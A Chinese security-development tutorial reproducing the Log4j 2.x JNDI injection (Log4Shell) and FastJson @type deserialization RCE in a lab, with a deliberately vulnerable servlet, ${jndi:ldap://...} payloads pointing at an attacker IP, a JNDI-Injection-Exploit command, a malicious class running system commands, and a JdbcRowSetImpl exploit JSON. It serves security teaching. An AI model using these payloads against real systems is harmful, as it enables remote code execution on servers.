036-安全开发-JavaEE应用&第三方组件&Log4j日志&FastJson序列化&JNDI注入

036-安全开发-JavaEE应用&第三方组件&Log4j日志&FastJson序列化&JNDI注入

036-安全开发-JavaEE应用&第三方组件&Log4j日志&FastJson序列化&JNDI注入_第1张图片

#知识点:

1、JavaEE-组件安全-Log4j
2、JavaEE-组件安全-Fastjson
3、JavaEE-基本了解-JNDI-API

演示案例:

➢Java-三方组件-Log4J&JNDI
➢Java-三方组件-FastJson&反射

#Java-项目管理工具-配置

Jar仓库:

https://mvnrepository.com/

Maven配置:

https://www.jb51.net/article/259780.htm

JNDI相关概念:

1、JNDI是一个接口,在这个接口下会有多种目录系统服务的实现,通过名称等去找到相关的对象,并把它下载到客户端中来。用于在分布式环境中查找和访问命名和目录服务。它允许Java应用程序通过名称引用资源,如数据库连接、远程对象等。

2、反序列化常用的两种利用方式,一种是基于RMI,一种是基于ldap

3、RMI是一种行为,指的是Java远程方法调用。通过 RMI,对象的方法可以在远程 JVM 上被调用。

4、LDAP指轻量级目录服务协议。LDAP 主要用于访问目录服务,这是一种树形结构的数据库,用于组织和存储信息。

JNDI注入:

原理:利用JNDI的apl接口如RMI或LDAP远程调用自己所写的危险代码实现注入。

036-安全开发-JavaEE应用&第三方组件&Log4j日志&FastJson序列化&JNDI注入_第2张图片

  • Java Naming and Directory Interface (Java 命名和目录接口 ),JNDI 提供统一的客户端 API,通过不同的服务供应接口(SPI)的实现,由管理者将 JNDI API 映射为特定的命名服务和目录服务,使得 JAVA 应用程可以通过 JNDI 实现和这些命名服务和目录服务之间的交互。
  1. Log4j 2.x 中的 JNDI 注入漏洞LDAP,允许攻击者通过特制的日志消息进行远程代码执行。在这种情况下,攻击者可以利用恶意构造的 JNDI上下文注入执行恶意的Java代码。

    1. 上下文注入:
      1. 在某些情况下,应用程序会通过用户提供的数据构建 JNDI 上下文(InitialContext)。
      2. 如果应用程序在构建上下文时没有充分验证和过滤用户提供的数据,攻击者可能会尝试通过构造特殊的输入来注入恶意的 JNDI 对象。如:${jndi:ldap://47.94.236.117:1389/uyhyw6}
  2. FastJson JNDI 注入漏洞(JSON ):

    1. FastJson 在解析 JSON 数据时,会将 JSON 字符串转换为 Java 对象。
    2. 攻击者可以通过构造恶意的 JSON 字符串,包含特殊的 JSON 注释和 FastJson 的特性,来触发漏洞。
      1. 攻击者构造的 JSON 数据可能包含特殊的注释和 FastJson 的特性,以触发漏洞并执行恶意代码。
    3. 远程代码执行:
      1. 由于漏洞存在,攻击者可能成功执行远程代码,导致服务器上的不安全操作。

#Java-三方组件-Log4J&JNDI

Log4J:日志管理
Apache的一个开源项目,通过使用Log4j,我们可以控制日志信息输送的目的地是控制台、文件、GUI组件,甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等;我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能够更加细致地控制日志的生成过程。最令人感兴趣的就是,这些可以通过一个配置文件来灵活地进行配置,而不需要修改应用的代码。

Log4j-组件安全复现

本地简单实现

  • 创建Maven并命名为Log4jDemo
  • 找到对应版本**Apache Log4j Core » 2.14.1,并导入至项目中pomxml文件中**
  • 并刷新Maven则导入成功
  • 在java下创建Log4jTest.java 文件,导入引入的第三方Log4j相关包
    • Log4j 使用: 代码使用 Log4j 2.x 提供的日志功能,通过 LogManager.getLogger 获取一个 Logger 实例,然后使用 Logger.error 记录错误日志。
    • Logger.error("{}", code); 中,code 的值是 ${java:os}。这是 Log4j 的变量替换语法,其中 ${java:os} 表示执行 Java 系统属性(在这里是执行系统命令)。如果 code 的值是由用户提供的,那么存在潜在的安全风险,因为用户可以通过输入特定的内容来执行恶意代码。
<dependencies>
        
        <dependency>
            <groupId>org.apache.logging.log4jgroupId>
            <artifactId>log4j-coreartifactId>
            <version>2.14.1version>
        dependency>
**import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;**

public class Log4jTest {

    // 创建 Logger 实例
    private static final Logger Logger = LogManager.getLogger(Log4jTest.class);

    public static void main(String[] args) {
        **// 潜在的安全风险:使用不受信任的数据作为日志消息
        String code = "${java:os}";

        // 将不受信任的数据作为日志消息传递给 Logger.error
        Logger.error("{}", code);**
    }
}

036-安全开发-JavaEE应用&第三方组件&Log4j日志&FastJson序列化&JNDI注入_第3张图片

036-安全开发-JavaEE应用&第三方组件&Log4j日志&FastJson序列化&JNDI注入_第4张图片

036-安全开发-JavaEE应用&第三方组件&Log4j日志&FastJson序列化&JNDI注入_第5张图片

036-安全开发-JavaEE应用&第三方组件&Log4j日志&FastJson序列化&JNDI注入_第6张图片

构造HTTP Web服务 使用带漏洞Log4j版本 实现功能

潜在的安全风险:直接使用用户输入构造日志消息

1、开发源码中引用漏洞组件如log4j
2、开发中使用组件的代码(触发漏洞代码)
3、可控变量去传递Payload来实现攻击

Payload通常指的是一段恶意代码或指令,旨在利用漏洞或实施攻击。

1、Maven引用Log4j

036-安全开发-JavaEE应用&第三方组件&Log4j日志&FastJson序列化&JNDI注入_第7张图片

036-安全开发-JavaEE应用&第三方组件&Log4j日志&FastJson序列化&JNDI注入_第8张图片

@WebServlet("/log4j")
public class Log4jServlet extends HttpServlet {
    private static final Logger Logger = LogManager.getLogger(Log4jServlet.class);

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        // 从请求中获取名为 "code" 的参数
        String code = req.getParameter("code");

        // 记录日志,潜在的安全风险:直接使用用户输入
        Logger.error("{}", code);
    }
}

2、接受用户输入值

遇到问题:HTTP Status 400 – 错误的请求描述 由于被认为是客户端对错误(例如:畸形的请求语法、无效的请求信息帧或者虚拟的请求路由),服务器无法或不会处理当前请求

036-安全开发-JavaEE应用&第三方组件&Log4j日志&FastJson序列化&JNDI注入_第9张图片

原因:
是tomcat的版本问题,好像是tomcat7.9以上的版本,都不支持请求链接上带有特殊字符.否则会报400错误,
这是因为Tomcat严格按照 RFC 3986规范进行访问解析,而 RFC3986规范定义了Url中只允许包含英文字母(a-zA-Z)、数字(0-9)、-_.~4个特殊字符以及所有保留字符(RFC3986中指定了以下字符为保留字符:! * ’ ( ) ; : @ & = + $ , / ? # [ ])。传入的参数中有"{"不在RFC3986中的保留字段中,所以会报这个错。

解决方式:修改Tomcat配置server.xml

<Connector port="8080" protocol="HTTP/1.1"
               relaxedQueryChars="[]|{}^\`"<>"
               connectionTimeout="20000"
               redirectPort="8443" /

036-安全开发-JavaEE应用&第三方组件&Log4j日志&FastJson序列化&JNDI注入_第10张图片

036-安全开发-JavaEE应用&第三方组件&Log4j日志&FastJson序列化&JNDI注入_第11张图片

3、Log4j处理错误输入

036-安全开发-JavaEE应用&第三方组件&Log4j日志&FastJson序列化&JNDI注入_第12张图片

4、利用jndi-ldap执行

  1. code=$(java:os) 输出执行结果:显示系统
  2. code=(java:os) 正常输入正常输出:(java:os)
  3. ${jndi:ldap://47.94.236.117:1389/uyhyw6}
  4. ${jndi:ldap://xxxx.dns.log}
  5. ldap://47.94.236.117:1389/uyhyw6 生成的远程可访问的调用方法
  6. 什么方法? -A “calc” 执行计算机的功能方法(JNDI注入工具生成的

Apache Log4j2 - JNDI RCE漏洞攻击保姆级教程(仅供测试请勿攻击他人)_log4j rce jndi-CSDN博客

036-安全开发-JavaEE应用&第三方组件&Log4j日志&FastJson序列化&JNDI注入_第13张图片

036-安全开发-JavaEE应用&第三方组件&Log4j日志&FastJson序列化&JNDI注入_第14张图片

036-安全开发-JavaEE应用&第三方组件&Log4j日志&FastJson序列化&JNDI注入_第15张图片

036-安全开发-JavaEE应用&第三方组件&Log4j日志&FastJson序列化&JNDI注入_第16张图片

Test:
String code=“test”;
String code=“ j a v a : o s " ; l o g g e r . e r r o r ( " " , c o d e ) ; S t r i n g e x p = " {java:os}"; logger.error("{}",code); String exp=" java:os";logger.error("",code);Stringexp="{jndi:ldap://xx.xx.xx.xx:xx/xxx}”;
服务器:
java -jar JNDI-Injection-Exploit.jar -C “calc” -A xx.xx.xx.xx

#Java-三方组件-FastJson&反射

FastJson:可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象。
在前后端数据传输交互中,经常会遇到字符串(String)与json,XML等格式相互转换解析,其中json以跨语言,跨前后端的优点在开发中被频繁使用,基本上是标准的数据交换格式。它的接口简单易用,已经被广泛使用在缓存序列化,协议交互,Web输出等各种应用场景中。FastJson是阿里巴巴的的开源库,用于对JSON格式的数据进行解析和打包。

Fastjson-组件安全复现

1、Maven引用Fastjson

036-安全开发-JavaEE应用&第三方组件&Log4j日志&FastJson序列化&JNDI注入_第17张图片

036-安全开发-JavaEE应用&第三方组件&Log4j日志&FastJson序列化&JNDI注入_第18张图片

036-安全开发-JavaEE应用&第三方组件&Log4j日志&FastJson序列化&JNDI注入_第19张图片

2、创建需转换类对象User

package com.wusuowei;

//给fastjson数据转换测试用的
public class User {
    private String name;
    private Integer age;

    public Integer getAge() {
        return age;
    }

    public String getName() {
        return name;
    }

    public void setAge(Integer age) {
        this.age = age;
        System.out.println(age);
    }

    public void setName(String name) {
        this.name = name;
        System.out.println(name);
    }
}

036-安全开发-JavaEE应用&第三方组件&Log4j日志&FastJson序列化&JNDI注入_第20张图片

3、使用Fastjson进行数据转换(对象转Json)

  • 对象 -> JSON
    • 我们想把数据转换成Json格式数据,我不想用自带的API(太麻烦)
      我就选择第三方组件fastjson来去做这个功能
//使用fastjson去处理User类数据
public class FastjsonTest {
    public static void main(String[] args) {
        //u Object对象
        //Integer age String name 字符串数据
        User u = new User();
        u.setAge(30);
        u.setName("xiaodi");
//        System.out.println(u);

        //上述对象 -> JSON
        //我们想把数据转换成Json格式数据,我不想用自带的API(太麻烦)
        //我就选择第三方组件fastjson来去做这个功能
        //讲json对象转换json数据
        String jsonString = JSONObject.toJSONString(u);
        System.out.println("这就是json格式:"+jsonString);
}}

036-安全开发-JavaEE应用&第三方组件&Log4j日志&FastJson序列化&JNDI注入_第21张图片

4、数据转换(Json转对象)

  • 下面JSON -> 对象
  • 分析漏洞利用 多输出 转换数据的类型(类) 告诉大家其实前面有一个**@type 转换对象类包**
//分析漏洞利用 多输出 转换数据的类型(类) 告诉大家其实前面有一个@type 转换对象类包
        String jsonString1 = JSONObject.toJSONString(u, SerializerFeature.WriteClassName);
        System.out.println(jsonString1);

036-安全开发-JavaEE应用&第三方组件&Log4j日志&FastJson序列化&JNDI注入_第22张图片

  • 实战中com.wusuowei.Run 我们不知道 固定调用

  • rmi ldap 去触发远程的class 执行代码(RCE)

    • 将test1中的的**@type 转换对象类包修改为别的东西,例如在本地创建的调用系统计算器的@type 转换对象类包、**
    package com.wusuowei;
    
    import java.io.IOException;
    
    public class Run {
        public Run() throws IOException {
            Runtime.getRuntime().exec("calc");
        }
    }
    
    • JSON.parseObject(test)test字符串进行反序列化,并将其转换为一个JSONObject对象。JSONObject是Fastjson库中表示JSON对象的类。
    • 成功调用本机计算器
//下面JSON -> 对象
        String test = "{\"@type\":\"com.wusuowei.User\",\"age\":30,\"name\":\"xiaodi\"}";
        String test1 = "{\"@type\":\"com.wusuowei.Run\",\"age\":30,\"name\":\"xiaodi\"}";

        //实战中com.xiaodi.Run 我们不知道 固定调用
        //rmi ldap 去触发远程的class 执行代码(RCE)

        JSONObject jsonObject = JSON.parseObject(test);
        System.out.println("这就是json转换为对象的格式:"+jsonObject);
        JSONObject jsonObject1 = JSON.parseObject(test1);
        System.out.println("这就是json转换为对象的格式:"+jsonObject1);

036-安全开发-JavaEE应用&第三方组件&Log4j日志&FastJson序列化&JNDI注入_第23张图片

服务器:
https://blog.csdn.net/guo15890025019/article/details/120532891

总结:

流程如下:

  1. 开启HTTP服务器并放置恶意类:
    • 攻击者首先启动一个 HTTP 服务器,并在其中放置 Factory 类包含恶意类的文件或 JAR 文件。这些文件包含了攻击者想要远程加载并执行的恶意代码。
  2. 开启恶意RMI服务器:
    • 攻击者启动一个恶意的 RMI 服务器,该服务器可能包含一个特殊的远程对象,其目的是在远程加载时执行恶意代码。
  3. 攻击者控制URL参数为恶意RMI服务器地址:
    • 攻击者通过抓包并修改请求方式,将**数据源的 RMI URL,指向一个 Factory的远程对象—RMI服务器制定远程加载类Factory.class 的地址,**使目标系统的应用程序使用了特定的 URL 参数,该参数指向攻击者控制的恶意 RMI 服务器地址。
  4. 恶意RMI服务器返回ReferenceWrapper类:
    • 当目标系统执行 JNDI 的 lookup 操作时,攻击者的恶意 RMI 服务器返回一个特殊的对象,可能是 ReferenceWrapper 类的实例。
  5. 目标执行lookup操作,将ReferenceWrapper变成Reference类:
    • 目标系统的代码(可能是 JNDI_Client 类)在执行 lookup 操作时,通过自定义的 decodeObject 方法将 ReferenceWrapper 对象变成 Reference 类的实例。
    • 在这个过程中,可能涉及到远程类加载,将攻击者准备的 Factory 类加载到目标系统中。
  6. 远程加载并实例化Factory类,触发静态代码片段中的恶意代码:
    • 在将 Reference 类实例化时,可能触发了 Factory 类的静态初始化块,其中包含攻击者准备的恶意代码。
    • 这样,攻击者成功在目标系统上执行了远程加载并触发了恶意代码。

036-安全开发-JavaEE应用&第三方组件&Log4j日志&FastJson序列化&JNDI注入_第24张图片

036-安全开发-JavaEE应用&第三方组件&Log4j日志&FastJson序列化&JNDI注入_第25张图片

036-安全开发-JavaEE应用&第三方组件&Log4j日志&FastJson序列化&JNDI注入_第26张图片

  1. 搭建靶场(目标)

    1. http://192.168.10.171:8090/
  2. 搭建恶意站点(攻击机)

    1. 编写恶意代码TouchFile.java(创建文件)

      import java.lang.Runtime;
      import java.lang.Process;
      
      public class TouchFile {
          static {
              try {
                  // 获取运行时对象
                  Runtime rt = Runtime.getRuntime();
                  
                  **// 定义执行的命令
                  String[] commands = {"touch", "/tmp/EDI"};
                  
                  // 执行命令
                  Process pc = rt.exec(commands);**
                  
                  // 等待进程执行完成
                  pc.waitFor();
              } catch (Exception e) {
                  // 异常处理,这里仅打印异常,没有进一步处理
                  e.printStackTrace();
              }
              // 静态初始化块结束
          }
          // 类定义结束
      }
      
    2. javac TouchFile.java编译一下,生成TouchFile.class.

    3. 开启http访问(http://192.168.8.14:8888/)

  3. 开启RMI服务

    1. 监听9999端口,并制定远程加载类TouchFile.class
    2. rmi://192.168.8.14:9999/TouchFile
  4. burp抓包目标靶机

    1. 修改请求方式为POST Content-Type改成application/json

    2. 写入exp,然后发送请求。

    3. 进行替换

      "b": {
              // 这是一个表示离线行集的类,通常与 JDBC 一起使用。
      				**//DBC RowSet是Java中用于操作数据库结果集的一种方式,它提供了一种离线的、可序列化的结果集对象。
              "@type": "com.sun.rowset.JdbcRowSetImpl",
              
              // 这指示数据源的 RMI URL,指向一个 TouchFile 的远程对象。
              "dataSourceName": "rmi://192.168.8.14:9999/TouchFile",**
      
              // 自动提交设置为 true
              "autoCommit": true
              }
      
  5. 进入docker容器中查看已在tmp目录下创建EDI文件

    036-安全开发-JavaEE应用&第三方组件&Log4j日志&FastJson序列化&JNDI注入_第27张图片

原文链接:https://blog.csdn.net/guo15890025019/article/details/120532891

你可能感兴趣的:(安全,java-ee,log4j)